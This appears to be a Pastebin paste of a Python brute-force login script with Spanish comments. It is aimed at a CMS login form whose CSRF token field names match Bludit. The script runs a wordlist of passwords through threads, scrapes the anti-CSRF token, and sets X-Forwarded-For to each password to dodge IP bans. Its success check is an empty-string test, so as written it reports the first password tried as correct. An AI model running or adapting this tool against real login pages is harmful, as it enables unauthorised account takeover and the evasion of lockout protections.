Guest User

brutlog.py

a guest
Dec 23rd, 2021
193
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.13 KB | None | 0 0
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3.  
  4. import requests
  5. from pwn import *
  6. import urllib3
  7. import mmap
  8. import argparse
  9.  
  10. from concurrent.futures import ThreadPoolExecutor
  11.  
  12. # CTRL+C
  13. def def_hundler(sig, frame):
  14.     print(Color.RED + "[!]Saliendo..")
  15.     exit(1)
  16. signal.signal(signal.SIGINT, def_hundler)
  17.  
  18. #Colores
  19. class Color:
  20.     CYAN = '\033[96m'
  21.     BLUE = '\033[94m'
  22.     GREEN = '\033[92m'
  23.     YELLOW = '\033[93m'
  24.     RED = '\033[91m'
  25.     END = '\033[0m'
  26. #Funciones
  27. def usage():
  28.     fNombre = os.path.basename(__file__)
  29.     ussage = fNombre + ' [-h] [-url URL] [-u USERNAME] [-w DICCIONARIO] [-t HILOS]\n\n'
  30.     ussage += '[+] Examples:\n'
  31.     ussage += '\t' + fNombre + ' -url https://google.com/login -u admin -w /usr/share/wordlists/rockyou.txt -t 2\n'
  32.     return ussage
  33.  
  34. def arguments():
  35.     parse = argparse.ArgumentParser(usage=usage(), description="Python3 Brute-Force login with threads")
  36.     parse.add_argument('-u', dest='username', type=str, default='', help='Usuario a reventar')
  37.     parse.add_argument('-w', dest='diccionario', type=str, default='', help='Diccionario a usar')
  38.     parse.add_argument('-url', dest='url', type=str, help='URL del login')
  39.     parse.add_argument('-t', dest='threads', type=int, default='2', help='Hilos (Velocidad), Default -> [2]')
  40.     return parse.parse_args()
  41.  
  42. #Funcion para sacar el numero de palabras de un diccionario
  43. def get_num_lines(diccionario):
  44.     fp = open(diccionario, "r+")
  45.     buf = mmap.mmap(fp.fileno(), 0)
  46.     lines = 0
  47.     while buf.readline():
  48.         lines += 1
  49.     return lines
  50.  
  51.  
  52. def do_login(s, url, username, password, executor, count, total):
  53.  
  54.     try:
  55.         r = s.get(url)
  56.         #Extraccion del token anti-csrf
  57.         token = re.findall(r'id="jstokenCSRF" name="tokenCSRF" value="(.*?)"', r.text)[0]
  58.         post_data = {
  59.             'tokenCSRF': '%s' % token,
  60.             'username' : '%s' % username,
  61.             'password' : '%s' % password,
  62.             'save': ''
  63.         }
  64.         headers_data = {
  65.             #Bypass IP-BAN
  66.             'X-Forwarded-For': '%s' % password,
  67.             'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
  68.         }
  69. #        proxy = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
  70.         r = s.post(url, data=post_data, headers=headers_data, allow_redirects = True)
  71.         p1.status(Color.BLUE + "Intentando con la contraseña" + Color.RED + " [%d/" %count + "%d] ==>" %total + Color.GREEN + " %s" %password)        
  72.         #Configuracion de la respuesta del servidor para averiguar la contraseña
  73.         if "" in r.text:
  74.             print(Color.BLUE + "\n\nLa contraseña es: " + Color.YELLOW + "%s" % password)
  75.             executor.shutdown(wait=False, cancel_futures=True)
  76.             sys.exit(1)
  77.         else:
  78.             pass
  79.  
  80.     except Exception as e:
  81.         print(e)
  82.  
  83. def main(url, username, diccionario, executor):
  84.     try:
  85.         urllib3.disable_warnings()
  86.         s = requests.session()
  87.         s.verify = False
  88.         count = 0
  89.         with open(diccionario, encoding='latin-1') as fp:
  90.             for password in fp.read().splitlines():
  91.                 count += 1
  92.                 executor.submit(do_login, s, url, username, password, executor, count, total)
  93.     except Exception as e:
  94.         print(e)
  95.  
  96. if __name__ == '__main__':
  97.     print(Color.CYAN + """
  98. ██████╗ ██████╗ ██╗   ██╗████████╗███████╗    ███████╗ ██████╗ ██████╗  ██████╗███████╗██████╗
  99. ██╔══██╗██╔══██╗██║   ██║╚══██╔══╝██╔════╝    ██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝██╔══██╗
  100. ██████╔╝██████╔╝██║   ██║   ██║   █████╗█████╗█████╗  ██║   ██║██████╔╝██║     █████╗  ██████╔╝
  101. ██╔══██╗██╔══██╗██║   ██║   ██║   ██╔══╝╚════╝██╔══╝  ██║   ██║██╔══██╗██║     ██╔══╝  ██╔══██╗
  102. ██████╔╝██║  ██║╚██████╔╝   ██║   ███████╗    ██║     ╚██████╔╝██║  ██║╚██████╗███████╗██║  ██║
  103. ╚═════╝ ╚═╝  ╚═╝ ╚═════╝    ╚═╝   ╚══════╝    ╚═╝      ╚═════╝ ╚═╝  ╚═╝ ╚═════╝╚══════╝╚═╝  ╚═╝
  104.        """)
  105.     args = arguments()
  106.     total = get_num_lines(args.diccionario)
  107.     p1 = log.progress(Color.BLUE + "Fuerza Bruta sobre el usuario :" + Color.RED + " %s" % args.username)    
  108.     executor = ThreadPoolExecutor(args.threads)
  109.     main(args.url, args.username, args.diccionario, executor)
Advertisement
Add Comment
Please, Sign In to add comment